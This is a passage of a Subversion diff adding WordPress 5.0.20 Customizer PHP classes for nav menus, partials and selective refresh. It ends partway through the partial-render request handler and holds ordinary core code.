+			// Insert or update menu.
+			$menu_data = wp_array_slice_assoc( $value, array( 'description', 'parent' ) );
+			$menu_data['menu-name'] = $value['name'];
+
+			$menu_id = $is_placeholder ? 0 : $this->term_id;
+			$r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
+			$original_name = $menu_data['menu-name'];
+			$name_conflict_suffix = 1;
+			while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) {
+				$name_conflict_suffix += 1;
+				/* translators: 1: original menu name, 2: duplicate count */
+				$menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix );
+				$r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) );
+			}
+
+			if ( is_wp_error( $r ) ) {
+				$this->update_status = 'error';
+				$this->update_error  = $r;
+			} else {
+				if ( $is_placeholder ) {
+					$this->previous_term_id = $this->term_id;
+					$this->term_id          = $r;
+					$this->update_status    = 'inserted';
+				} else {
+					$this->update_status = 'updated';
+				}
+
+				$auto_add = $value['auto_add'];
+			}
+		}
+
+		if ( null !== $auto_add ) {
+			$nav_menu_options = $this->filter_nav_menu_options_value(
+				(array) get_option( 'nav_menu_options', array() ),
+				$this->term_id,
+				$auto_add
+			);
+			update_option( 'nav_menu_options', $nav_menu_options );
+		}
+
+		if ( 'inserted' === $this->update_status ) {
+			// Make sure that new menus assigned to nav menu locations use their new IDs.
+			foreach ( $this->manager->settings() as $setting ) {
+				if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) {
+					continue;
+				}
+
+				$post_value = $setting->post_value( null );
+				if ( ! is_null( $post_value ) && $this->previous_term_id === intval( $post_value ) ) {
+					$this->manager->set_post_value( $setting->id, $this->term_id );
+					$setting->save();
+				}
+			}
+
+			// Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client.
+			foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) {
+				$nav_menu_widget_setting = $this->manager->get_setting( $setting_id );
+				if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) {
+					continue;
+				}
+
+				$widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance().
+				if ( empty( $widget_instance['nav_menu'] ) || intval( $widget_instance['nav_menu'] ) !== $this->previous_term_id ) {
+					continue;
+				}
+
+				$widget_instance['nav_menu'] = $this->term_id;
+				$updated_widget_instance = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance );
+				$this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance );
+				$nav_menu_widget_setting->save();
+
+				$this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance;
+			}
+		}
+	}
+
+	/**
+	 * Updates a nav_menu_options array.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options()
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 *
+	 * @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ).
+	 * @param int   $menu_id          The term ID for the given menu.
+	 * @param bool  $auto_add         Whether to auto-add or not.
+	 * @return array (Maybe) modified nav_menu_otions array.
+	 */
+	protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) {
+		$nav_menu_options = (array) $nav_menu_options;
+		if ( ! isset( $nav_menu_options['auto_add'] ) ) {
+			$nav_menu_options['auto_add'] = array();
+		}
+
+		$i = array_search( $menu_id, $nav_menu_options['auto_add'] );
+		if ( $auto_add && false === $i ) {
+			array_push( $nav_menu_options['auto_add'], $this->term_id );
+		} elseif ( ! $auto_add && false !== $i ) {
+			array_splice( $nav_menu_options['auto_add'], $i, 1 );
+		}
+
+		return $nav_menu_options;
+	}
+
+	/**
+	 * Export data for the JS client.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 *
+	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
+	 * @return array Export data.
+	 */
+	public function amend_customize_save_response( $data ) {
+		if ( ! isset( $data['nav_menu_updates'] ) ) {
+			$data['nav_menu_updates'] = array();
+		}
+		if ( ! isset( $data['widget_nav_menu_updates'] ) ) {
+			$data['widget_nav_menu_updates'] = array();
+		}
+
+		$data['nav_menu_updates'][] = array(
+			'term_id'          => $this->term_id,
+			'previous_term_id' => $this->previous_term_id,
+			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
+			'status'           => $this->update_status,
+			'saved_value'      => 'deleted' === $this->update_status ? null : $this->value(),
+		);
+
+		$data['widget_nav_menu_updates'] = array_merge(
+			$data['widget_nav_menu_updates'],
+			$this->_widget_nav_menu_updates
+		);
+		$this->_widget_nav_menu_updates = array();
+
+		return $data;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menus-panel.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menus-panel.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menus-panel.php	(revision 56912)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menus_Panel class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Nav Menus Panel Class
+ *
+ * Needed to add screen options.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Panel
+ */
+class WP_Customize_Nav_Menus_Panel extends WP_Customize_Panel {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'nav_menus';
+
+	/**
+	 * Render screen options for Menus.
+	 *
+	 * @since 4.3.0
+	 */
+	public function render_screen_options() {
+		// Adds the screen options.
+		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+		add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );
+
+		// Display screen options.
+		$screen = WP_Screen::get( 'nav-menus.php' );
+		$screen->render_screen_options( array( 'wrap' => false ) );
+	}
+
+	/**
+	 * Returns the advanced options for the nav menus page.
+	 *
+	 * Link title attribute added as it's a relatively advanced concept for new users.
+	 *
+	 * @since 4.3.0
+	 * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns().
+	 */
+	public function wp_nav_menu_manage_columns() {
+		_deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' );
+		require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+		return wp_nav_menu_manage_columns();
+	}
+
+	/**
+	 * An Underscore (JS) template for this panel's content (but not its container).
+	 *
+	 * Class variables for this panel class are available in the `data` JS object;
+	 * export custom variables by overriding WP_Customize_Panel::json().
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Panel::print_template()
+	 */
+	protected function content_template() {
+		?>
+		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
+			<button type="button" class="customize-panel-back" tabindex="-1">
+				<span class="screen-reader-text"><?php _e( 'Back' ); ?></span>
+			</button>
+			<div class="accordion-section-title">
+				<span class="preview-notice">
+					<?php
+					/* translators: %s: the site/panel title in the Customizer */
+					printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
+					?>
+				</span>
+				<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false">
+					<span class="screen-reader-text"><?php _e( 'Help' ); ?></span>
+				</button>
+				<button type="button" class="customize-screen-options-toggle" aria-expanded="false">
+					<span class="screen-reader-text"><?php _e( 'Menu Options' ); ?></span>
+				</button>
+			</div>
+			<# if ( data.description ) { #>
+			<div class="description customize-panel-description">{{{ data.description }}}</div>
+			<# } #>
+			<div id="screen-options-wrap">
+				<?php $this->render_screen_options(); ?>
+			</div>
+		</li>
+		<?php
+		// NOTE: The following is a workaround for an inability to treat (and thus label) a list of sections as a whole.
+		?>
+		<li class="customize-control-title customize-section-title-nav_menus-heading"><?php _e( 'Menus' ); ?></li>
+	<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-new-menu-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-new-menu-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-new-menu-control.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * Customize API: WP_Customize_New_Menu_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
+ */
+
+/**
+ * Customize control class for new menus.
+ *
+ * @since 4.3.0
+ * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_New_Menu_Control extends WP_Customize_Control {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'new_menu';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param WP_Customize_Manager $manager Manager.
+	 * @param string               $id      ID.
+	 * @param array                $args    Args.
+	 */
+	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
+		_deprecated_file( basename( __FILE__ ), '4.9.0' ); // @todo Move this outside of class, and remove its require_once() from class-wp-customize-control.php. See #42364.
+		parent::__construct( $manager, $id, $args );
+	}
+
+	/**
+	 * Render the control's content.
+	 *
+	 * @since 4.3.0
+	 */
+	public function render_content() {
+		?>
+		<button type="button" class="button button-primary" id="create-new-menu-submit"><?php _e( 'Create Menu' ); ?></button>
+		<span class="spinner"></span>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-new-menu-section.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-new-menu-section.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-new-menu-section.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * Customize API: WP_Customize_New_Menu_Section class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
+ */
+
+/**
+ * Customize Menu Section Class
+ *
+ * @since 4.3.0
+ * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
+ *
+ * @see WP_Customize_Section
+ */
+class WP_Customize_New_Menu_Section extends WP_Customize_Section {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'new_menu';
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      An specific ID of the section.
+	 * @param array                $args    Section arguments.
+	 */
+	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
+		_deprecated_file( basename( __FILE__ ), '4.9.0' ); // @todo Move this outside of class, and remove its require_once() from class-wp-customize-section.php. See #42364.
+		parent::__construct( $manager, $id, $args );
+	}
+
+	/**
+	 * Render the section, and the controls that have been added to it.
+	 *
+	 * @since 4.3.0
+	 */
+	protected function render() {
+		?>
+		<li id="accordion-section-<?php echo esc_attr( $this->id ); ?>" class="accordion-section-new-menu">
+			<button type="button" class="button add-new-menu-item add-menu-toggle" aria-expanded="false">
+				<?php echo esc_html( $this->title ); ?>
+			</button>
+			<ul class="new-menu-section-content"></ul>
+		</li>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-partial.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-partial.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-partial.php	(revision 56912)
@@ -0,0 +1,311 @@
+<?php
+/**
+ * Customize API: WP_Customize_Partial class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.5.0
+ */
+
+/**
+ * Core Customizer class for implementing selective refresh partials.
+ *
+ * Representation of a rendered region in the previewed page that gets
+ * selectively refreshed when an associated setting is changed.
+ * This class is analogous of WP_Customize_Control.
+ *
+ * @since 4.5.0
+ */
+class WP_Customize_Partial {
+
+	/**
+	 * Component.
+	 *
+	 * @since 4.5.0
+	 * @var WP_Customize_Selective_Refresh
+	 */
+	public $component;
+
+	/**
+	 * Unique identifier for the partial.
+	 *
+	 * If the partial is used to display a single setting, this would generally
+	 * be the same as the associated setting's ID.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * Parsed ID.
+	 *
+	 * @since 4.5.0
+	 * @var array {
+	 *     @type string $base ID base.
+	 *     @type array  $keys Keys for multidimensional.
+	 * }
+	 */
+	protected $id_data = array();
+
+	/**
+	 * Type of this partial.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $type = 'default';
+
+	/**
+	 * The jQuery selector to find the container element for the partial.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $selector;
+
+	/**
+	 * IDs for settings tied to the partial.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	public $settings;
+
+	/**
+	 * The ID for the setting that this partial is primarily responsible for rendering.
+	 *
+	 * If not supplied, it will default to the ID of the first setting.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $primary_setting;
+
+	/**
+	 * Capability required to edit this partial.
+	 *
+	 * Normally this is empty and the capability is derived from the capabilities
+	 * of the associated `$settings`.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	public $capability;
+
+	/**
+	 * Render callback.
+	 *
+	 * @since 4.5.0
+	 * @see WP_Customize_Partial::render()
+	 * @var callable Callback is called with one argument, the instance of
+	 *                 WP_Customize_Partial. The callback can either echo the
+	 *                 partial or return the partial as a string, or return false if error.
+	 */
+	public $render_callback;
+
+	/**
+	 * Whether the container element is included in the partial, or if only the contents are rendered.
+	 *
+	 * @since 4.5.0
+	 * @var bool
+	 */
+	public $container_inclusive = false;
+
+	/**
+	 * Whether to refresh the entire preview in case a partial cannot be refreshed.
+	 *
+	 * A partial render is considered a failure if the render_callback returns false.
+	 *
+	 * @since 4.5.0
+	 * @var bool
+	 */
+	public $fallback_refresh = true;
+
+	/**
+	 * Constructor.
+	 *
+	 * Supplied `$args` override class property defaults.
+	 *
+	 * If `$args['settings']` is not defined, use the $id as the setting ID.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param WP_Customize_Selective_Refresh $component Customize Partial Refresh plugin instance.
+	 * @param string                         $id        Control ID.
+	 * @param array                          $args      {
+	 *     Optional. Arguments to override class property defaults.
+	 *
+	 *     @type array|string $settings All settings IDs tied to the partial. If undefined, `$id` will be used.
+	 * }
+	 */
+	public function __construct( WP_Customize_Selective_Refresh $component, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->component       = $component;
+		$this->id              = $id;
+		$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) );
+		$this->id_data['base'] = array_shift( $this->id_data['keys'] );
+
+		if ( empty( $this->render_callback ) ) {
+			$this->render_callback = array( $this, 'render_callback' );
+		}
+
+		// Process settings.
+		if ( ! isset( $this->settings ) ) {
+			$this->settings = array( $id );
+		} else if ( is_string( $this->settings ) ) {
+			$this->settings = array( $this->settings );
+		}
+
+		if ( empty( $this->primary_setting ) ) {
+			$this->primary_setting = current( $this->settings );
+		}
+	}
+
+	/**
+	 * Retrieves parsed ID data for multidimensional setting.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return array {
+	 *     ID data for multidimensional partial.
+	 *
+	 *     @type string $base ID base.
+	 *     @type array  $keys Keys for multidimensional array.
+	 * }
+	 */
+	final public function id_data() {
+		return $this->id_data;
+	}
+
+	/**
+	 * Renders the template partial involving the associated settings.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array $container_context Optional. Array of context data associated with the target container (placement).
+	 *                                 Default empty array.
+	 * @return string|array|false The rendered partial as a string, raw data array (for client-side JS template),
+	 *                            or false if no render applied.
+	 */
+	final public function render( $container_context = array() ) {
+		$partial  = $this;
+		$rendered = false;
+
+		if ( ! empty( $this->render_callback ) ) {
+			ob_start();
+			$return_render = call_user_func( $this->render_callback, $this, $container_context );
+			$ob_render = ob_get_clean();
+
+			if ( null !== $return_render && '' !== $ob_render ) {
+				_doing_it_wrong( __FUNCTION__, __( 'Partial render must echo the content or return the content string (or array), but not both.' ), '4.5.0' );
+			}
+
+			/*
+			 * Note that the string return takes precedence because the $ob_render may just\
+			 * include PHP warnings or notices.
+			 */
+			$rendered = null !== $return_render ? $return_render : $ob_render;
+		}
+
+		/**
+		 * Filters partial rendering.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param string|array|false   $rendered          The partial value. Default false.
+		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
+		 * @param array                $container_context Optional array of context data associated with
+		 *                                                the target container.
+		 */
+		$rendered = apply_filters( 'customize_partial_render', $rendered, $partial, $container_context );
+
+		/**
+		 * Filters partial rendering for a specific partial.
+		 *
+		 * The dynamic portion of the hook name, `$partial->ID` refers to the partial ID.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param string|array|false   $rendered          The partial value. Default false.
+		 * @param WP_Customize_Partial $partial           WP_Customize_Setting instance.
+		 * @param array                $container_context Optional array of context data associated with
+		 *                                                the target container.
+		 */
+		$rendered = apply_filters( "customize_partial_render_{$partial->id}", $rendered, $partial, $container_context );
+
+		return $rendered;
+	}
+
+	/**
+	 * Default callback used when invoking WP_Customize_Control::render().
+	 *
+	 * Note that this method may echo the partial *or* return the partial as
+	 * a string or array, but not both. Output buffering is performed when this
+	 * is called. Subclasses can override this with their specific logic, or they
+	 * may provide an 'render_callback' argument to the constructor.
+	 *
+	 * This method may return an HTML string for straight DOM injection, or it
+	 * may return an array for supporting Partial JS subclasses to render by
+	 * applying to client-side templating.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param WP_Customize_Partial $partial Partial.
+	 * @param array                $context Context.
+	 * @return string|array|false
+	 */
+	public function render_callback( WP_Customize_Partial $partial, $context = array() ) {
+		unset( $partial, $context );
+		return false;
+	}
+
+	/**
+	 * Retrieves the data to export to the client via JSON.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return array Array of parameters passed to the JavaScript.
+	 */
+	public function json() {
+		$exports = array(
+			'settings'           => $this->settings,
+			'primarySetting'     => $this->primary_setting,
+			'selector'           => $this->selector,
+			'type'               => $this->type,
+			'fallbackRefresh'    => $this->fallback_refresh,
+			'containerInclusive' => $this->container_inclusive,
+		);
+		return $exports;
+	}
+
+	/**
+	 * Checks if the user can refresh this partial.
+	 *
+	 * Returns false if the user cannot manipulate one of the associated settings,
+	 * or if one of the associated settings does not exist.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return bool False if user can't edit one of the related settings,
+	 *                    or if one of the associated settings does not exist.
+	 */
+	final public function check_capabilities() {
+		if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) {
+			return false;
+		}
+		foreach ( $this->settings as $setting_id ) {
+			$setting = $this->component->manager->get_setting( $setting_id );
+			if ( ! $setting || ! $setting->check_capabilities() ) {
+				return false;
+			}
+		}
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-selective-refresh.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-selective-refresh.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-selective-refresh.php	(revision 56912)
@@ -0,0 +1,456 @@
+<?php
+/**
+ * Customize API: WP_Customize_Selective_Refresh class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.5.0
+ */
+
+/**
+ * Core Customizer class for implementing selective refresh.
+ *
+ * @since 4.5.0
+ */
+final class WP_Customize_Selective_Refresh {
+
+	/**
+	 * Query var used in requests to render partials.
+	 *
+	 * @since 4.5.0
+	 */
+	const RENDER_QUERY_VAR = 'wp_customize_render_partials';
+
+	/**
+	 * Customize manager.
+	 *
+	 * @since 4.5.0
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Registered instances of WP_Customize_Partial.
+	 *
+	 * @since 4.5.0
+	 * @var WP_Customize_Partial[]
+	 */
+	protected $partials = array();
+
+	/**
+	 * Log of errors triggered when partials are rendered.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $triggered_errors = array();
+
+	/**
+	 * Keep track of the current partial being rendered.
+	 *
+	 * @since 4.5.0
+	 * @var string
+	 */
+	protected $current_partial_id;
+
+	/**
+	 * Plugin bootstrap for Partial Refresh functionality.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param WP_Customize_Manager $manager Manager instance.
+	 */
+	public function __construct( WP_Customize_Manager $manager ) {
+		$this->manager = $manager;
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-partial.php' );
+
+		add_action( 'customize_preview_init', array( $this, 'init_preview' ) );
+	}
+
+	/**
+	 * Retrieves the registered partials.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return array Partials.
+	 */
+	public function partials() {
+		return $this->partials;
+	}
+
+	/**
+	 * Adds a partial.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param WP_Customize_Partial|string $id   Customize Partial object, or Panel ID.
+	 * @param array                       $args {
+	 *  Optional. Array of properties for the new Partials object. Default empty array.
+	 *
+	 *  @type string   $type                  Type of the partial to be created.
+	 *  @type string   $selector              The jQuery selector to find the container element for the partial, that is, a partial's placement.
+	 *  @type array    $settings              IDs for settings tied to the partial.
+	 *  @type string   $primary_setting       The ID for the setting that this partial is primarily responsible for
+	 *                                        rendering. If not supplied, it will default to the ID of the first setting.
+	 *  @type string   $capability            Capability required to edit this partial.
+	 *                                        Normally this is empty and the capability is derived from the capabilities
+	 *                                        of the associated `$settings`.
+	 *  @type callable $render_callback       Render callback.
+	 *                                        Callback is called with one argument, the instance of WP_Customize_Partial.
+	 *                                        The callback can either echo the partial or return the partial as a string,
+	 *                                        or return false if error.
+	 *  @type bool     $container_inclusive   Whether the container element is included in the partial, or if only
+	 *                                        the contents are rendered.
+	 *  @type bool     $fallback_refresh      Whether to refresh the entire preview in case a partial cannot be refreshed.
+	 *                                        A partial render is considered a failure if the render_callback returns
+	 *                                        false.
+	 * }
+	 * @return WP_Customize_Partial             The instance of the panel that was added.
+	 */
+	public function add_partial( $id, $args = array() ) {
+		if ( $id instanceof WP_Customize_Partial ) {
+			$partial = $id;
+		} else {
+			$class = 'WP_Customize_Partial';
+
+			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
+			$args = apply_filters( 'customize_dynamic_partial_args', $args, $id );
+
+			/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
+			$class = apply_filters( 'customize_dynamic_partial_class', $class, $id, $args );
+
+			$partial = new $class( $this, $id, $args );
+		}
+
+		$this->partials[ $partial->id ] = $partial;
+		return $partial;
+	}
+
+	/**
+	 * Retrieves a partial.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $id Customize Partial ID.
+	 * @return WP_Customize_Partial|null The partial, if set. Otherwise null.
+	 */
+	public function get_partial( $id ) {
+		if ( isset( $this->partials[ $id ] ) ) {
+			return $this->partials[ $id ];
+		} else {
+			return null;
+		}
+	}
+
+	/**
+	 * Removes a partial.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $id Customize Partial ID.
+	 */
+	public function remove_partial( $id ) {
+		unset( $this->partials[ $id ] );
+	}
+
+	/**
+	 * Initializes the Customizer preview.
+	 *
+	 * @since 4.5.0
+	 */
+	public function init_preview() {
+		add_action( 'template_redirect', array( $this, 'handle_render_partials_request' ) );
+		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
+	}
+
+	/**
+	 * Enqueues preview scripts.
+	 *
+	 * @since 4.5.0
+	 */
+	public function enqueue_preview_scripts() {
+		wp_enqueue_script( 'customize-selective-refresh' );
+		add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1000 );
+	}
+
+	/**
+	 * Exports data in preview after it has finished rendering so that partials can be added at runtime.
+	 *
+	 * @since 4.5.0
+	 */
+	public function export_preview_data() {
+		$partials = array();
+
+		foreach ( $this->partials() as $partial ) {
+			if ( $partial->check_capabilities() ) {
+				$partials[ $partial->id ] = $partial->json();
+			}
+		}
+
+		$switched_locale = switch_to_locale( get_user_locale() );
+		$l10n = array(
+			'shiftClickToEdit' => __( 'Shift-click to edit this element.' ),
+			'clickEditMenu' => __( 'Click to edit this menu.' ),
+			'clickEditWidget' => __( 'Click to edit this widget.' ),
+			'clickEditTitle' => __( 'Click to edit the site title.' ),
+			'clickEditMisc' => __( 'Click to edit this element.' ),
+			/* translators: %s: document.write() */
+			'badDocumentWrite' => sprintf( __( '%s is forbidden' ), 'document.write()' ),
+		);
+		if ( $switched_locale ) {
+			restore_previous_locale();
+		}
+
+		$exports = array(
+			'partials'       => $partials,
+			'renderQueryVar' => self::RENDER_QUERY_VAR,
+			'l10n'           => $l10n,
+		);
+
+		// Export data to JS.
+		echo sprintf( '<script>var _customizePartialRefreshExports = %s;</script>', wp_json_encode( $exports ) );
+	}
+
+	/**
+	 * Registers dynamically-created partials.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @see WP_Customize_Manager::add_dynamic_settings()
+	 *
+	 * @param array $partial_ids The partial ID to add.
+	 * @return array Added WP_Customize_Partial instances.
+	 */
+	public function add_dynamic_partials( $partial_ids ) {
+		$new_partials = array();
+
+		foreach ( $partial_ids as $partial_id ) {
+
+			// Skip partials already created.
+			$partial = $this->get_partial( $partial_id );
+			if ( $partial ) {
+				continue;
+			}
+
+			$partial_args = false;
+			$partial_class = 'WP_Customize_Partial';
+
+			/**
+			 * Filters a dynamic partial's constructor arguments.
+			 *
+			 * For a dynamic partial to be registered, this filter must be employed
+			 * to override the default false value with an array of args to pass to
+			 * the WP_Customize_Partial constructor.
+			 *
+			 * @since 4.5.0
+			 *
+			 * @param false|array $partial_args The arguments to the WP_Customize_Partial constructor.
+			 * @param string      $partial_id   ID for dynamic partial.
+			 */
+			$partial_args = apply_filters( 'customize_dynamic_partial_args', $partial_args, $partial_id );
+			if ( false === $partial_args ) {
+				continue;
+			}
+
+			/**
+			 * Filters the class used to construct partials.
+			 *
+			 * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass.
+			 *
+			 * @since 4.5.0
+			 *
+			 * @param string $partial_class WP_Customize_Partial or a subclass.
+			 * @param string $partial_id    ID for dynamic partial.
+			 * @param array  $partial_args  The arguments to the WP_Customize_Partial constructor.
+			 */
+			$partial_class = apply_filters( 'customize_dynamic_partial_class', $partial_class, $partial_id, $partial_args );
+
+			$partial = new $partial_class( $this, $partial_id, $partial_args );
+
+			$this->add_partial( $partial );
+			$new_partials[] = $partial;
+		}
+		return $new_partials;
+	}
+
+	/**
+	 * Checks whether the request is for rendering partials.
+	 *
+	 * Note that this will not consider whether the request is authorized or valid,
+	 * just that essentially the route is a match.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return bool Whether the request is for rendering partials.
+	 */
+	public function is_render_partials_request() {
+		return ! empty( $_POST[ self::RENDER_QUERY_VAR ] );
+	}
+
+	/**
+	 * Handles PHP errors triggered during rendering the partials.
+	 *
+	 * These errors will be relayed back to the client in the Ajax response.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param int    $errno   Error number.
+	 * @param string $errstr  Error string.
+	 * @param string $errfile Error file.
+	 * @param string $errline Error line.
+	 * @return true Always true.
+	 */
+	public function handle_error( $errno, $errstr, $errfile = null, $errline = null ) {
+		$this->triggered_errors[] = array(
+			'partial'      => $this->current_partial_id,
+			'error_number' => $errno,
+			'error_string' => $errstr,
+			'error_file'   => $errfile,
+			'error_line'   => $errline,
+		);
+		return true;
+	}
+
+	/**
+	 * Handles the Ajax request to return the rendered partials for the requested placements.
+	 *
+	 * @since 4.5.0
+	 */
+	public function handle_render_partials_request() {
+		if ( ! $this->is_render_partials_request() ) {
+			return;
+		}
+
+		/*
+		 * Note that is_customize_preview() returning true will entail that the
+		 * user passed the 'customize' capability check and the nonce check, since
+		 * WP_Customize_Manager::setup_theme() is where the previewing flag is set.
+		 */
+		if ( ! is_customize_preview() ) {
+			wp_send_json_error( 'expected_customize_preview', 403 );
+		} elseif ( ! isset( $_POST['partials'] ) ) {
+			wp_send_json_error( 'missing_partials', 400 );
+		}
+
+		// Ensure that doing selective refresh on 404 template doesn't result in fallback rendering behavior (full refreshes).
+		status_header( 200 );
+
+		$partials = json_decode( wp_unslash( $_POST['partials'] ), true );
+
+		if ( ! is_array( $partials ) ) {
+			wp_send_json_error( 'malformed_partials' );
+		}
+
+		$this->add_dynamic_partials( array_keys( $partials ) );
+
+		/**
+		 * Fires immediately before partials are rendered.
+		 *
+		 * Plugins may do things like call wp_enqueue_scripts() and gather a list of the scripts
+		 * and styles which may get enqueued in the response.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param WP_Customize_Selective_Refresh $this     Selective refresh component.
+		 * @param array                          $partials Placements' context data for the partials rendered in the request.
+		 *                                                 The array is keyed by partial ID, with each item being an array of
+		 *                                                 the placements' context data.
+		 */
+		do_action( 'customize_render_partials_before', $this, $partials );
+
+		set_error_handler( array( $this, 'handle_error' ), error_reporting() );
+
+		$contents = array();
+
+		foreach ( $partials as $partial_id => $container_contexts ) {
+			$this->current_partial_id = $partial_id;
+
+			if ( ! is_array( $container_contexts ) ) {
+				wp_send_json_error( 'malformed_container_contexts' );
+			}
+
